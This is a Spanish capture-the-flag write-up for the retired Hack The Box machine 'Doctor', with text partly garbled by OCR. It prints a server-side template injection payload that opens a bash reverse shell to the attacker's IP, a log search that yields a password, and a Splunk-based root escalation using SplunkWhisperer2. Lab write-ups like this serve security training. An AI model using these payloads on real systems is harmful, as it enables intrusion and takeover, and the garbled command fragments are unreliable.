Doctor

Ny

RELEASE DATE DIFFICULTY MACHINE STATE

26 Sep 2020 Easy Retired

1. Enumeracion

Lanzamos un Ping para hacernos una idea de si la maquina victima puede ser una maquina
Windows o Linux. Por el TTL, parece que nos estamos enfrentando a una maquina Linux.

/home/parrot/HTB/doctor
-c 1 1€ 18.2@¢

: targeted

report 10.10.160.209
t is up (0.033s latency).

u 4ubuntu@.1 ( inux; protocol 2.0)

4e:c2:d8:cf:da:9d:a8:¢8:d0:fd:99:a8:46
fb:2d:a f:99 £8:00 47
96:6b:9c:e9:c ce:7b:43:e8
1 ((Ubuntu))

,ht{p title cto
_http-server-head
S ce Info: 0S:

d data files from: /usr hare/nmap
detection performed. Pl report any incorrect results at https: ap.org/submit/
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2. Andlisis de vulnerabilidades.

Revisamos con whatweb, las tecnologias usadas.

/home/parrot/HTB/doctor

Accedemos a la web y vemos un correo electrénico info@doctors.htb. Por si luego
necesitamos “fuzzear”, vamos a afiadir dicho dominio al /etc/hosts. No vemos nada
interesante accediendo por IP. Vamos a intentar acceder con http://doctors.htb. Veremos un

panel de autenticacion.

O & doctors.htb/login?next=%2F

Login Register

Doctor Secure Messaging ~ Home

Please log in to access this page.

Log In

Email

Password

[J Remember Me

‘ Login | ForgotPassword?

Nos creamos un usuario de prueba y accedemos. Revisamos el cddigo fuente de la paginay
vemos un contenido interesante. Parece que hay una parte de la web oculta.

</button>
<div class="collapse navbar-collapse" id="navbarToggle">
=div class="navbar-nav mr-auto">
<a class="nav-item nav-link" href="/home"=Home</a>
<!--archive still under beta testing=a class="nav-item nav-link" href="/archive"=Archive=/a=-->
<fdiv=
<!-- Navbar Right Side --»
=div class="navbar-nav">

Nos creamos un post en la web, intentando explotar un SSTI.

O A doctors.htb/post/new

New Message Account Logout

Doctor Secure Messaging  Home

New Post

Title
{7 7h |

l!n n!e nl

Test

‘ Post
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mailto:info@doctors.htb
http://doctors.htb/

Nos dirigimos a la web “archive” y comprobamos que es vulnerable a SSTI.

A view-sourc ctors.htby,

<?xml version="1.8" encoding="UTF-8" 7>
<rss version="2.0">

<channel=>

<titlesArchive</title=
<items=<title>${7*7}</title></item=

=/channel>
<item><title>7777777 </title></item>

=/channel>

3. Explotacion e intrusion.
Ahora que hemos detectado una vulnerabilidad de la cual nos podemos aprovechar para ganar
acceso a la maquina victima, vamos a intentar inyectar una “reverse shell”. Creamos un nuevo
post con el siguiente contenido:

o {{self. TemplateReference _context.cycler. _init__ . globals__.os.popen('/bin/bash
-c \"/bin/bash -i >& /dev/tcp/10.10.14.63/443 0>&1\"").read() }}

Nos ponemos en escucha por el puerto 443 con “nc” y nos dirigimos a la web “archive”.

& view-source:http://doctors.htb/archive

<?xml version="1.0" encoding="UTF-8" 7>
<rss version="2.0">

<channel>

<title>Archives/title>
<item><title>${7*7}</title></item>

</channel>
<item><title>7777777 </title></item>

</channel>
<items<title>uid=1001(web) gid=1001(web) groups=1001(web),4 (adm)
</title></item>

</channel>
<item»<titlesself. TemplateReference context.cycler. init . globals .os.popen{'/bin/bash - "/bin/bash -i »& /dev/tcp/10.10.14.63/443 B>&1').read() }}</titles</item>

</channel>
Y logramos el acceso.

/home/parrot/HTB/doctor p 3m 215 Z
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4. Movimiento lateral.

Realizamos nuestro tratamiento de la TTY habitual. Inspeccionamos quienes somos, y vemos
gue pertenecemos al grupo adm.

¢Qué puede hacer los usuarios que pertenecen a este grupo? Pues visualizar los logs del
sistema. Vamos a realizar una blsqueda en el directorio /var/log/, intentando encontrar
alguna entrada con la palabra “password”.

Encontramos la credencial “Guitar123”.

Revisamos el fichero /etc/passwd y nos fijamos en el usuario shaun. ¢Pertenecera la clave
anterior a este usuario?

5. Escalada de privilegios.

Anteriormente, al revisar el fichero /etc/passwd, vimos que existia un usuario llamado splunk.

Comprobamos si realmente esta corriendo este software y si lo hace sobre el contexto de root,
y efectivamente. Ya tenemos una posible forma de escalar privilegios.

Googleando, encontramos el siguiente enlace: https://github.com/cnotin/SplunkWhisperer2
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https://github.com/cnotin/SplunkWhisperer2

D .gitignore nitial commit 4 years ago
D PySplunkWhisperer2_local.py nitial commit 4 years ago
[ PySplunkWhisperer2_remote.py Changed PySplunkWhisperer2_remaote.py from python2 to python3 2 years ago
[ READMEmd Update README.md 4 years ago
D build_exe.bat nitial commit 4 years ago
[ requirements.txt Fix vuln in Python requests 4 years ago

Nos clonamos el proyecto a nuestra maquina.

/home/parrot/HTB/doctor x 1
tt thub.

"=Unautho

Vamos a probar con las credenciales del usuario shaun. En esta ocasién si que parece que
funciona.

/home/parrot/HTB/doctor/SplunkWhisperer2/PySplunkWhisperer2
Lu 10.10.10.209 --lhost 10.10.14.63 --username shaun --pa

Comprobamos que se hayan cambiado los permisos y ejecutamos bash -p. Con esto,
terminamos la escalada.
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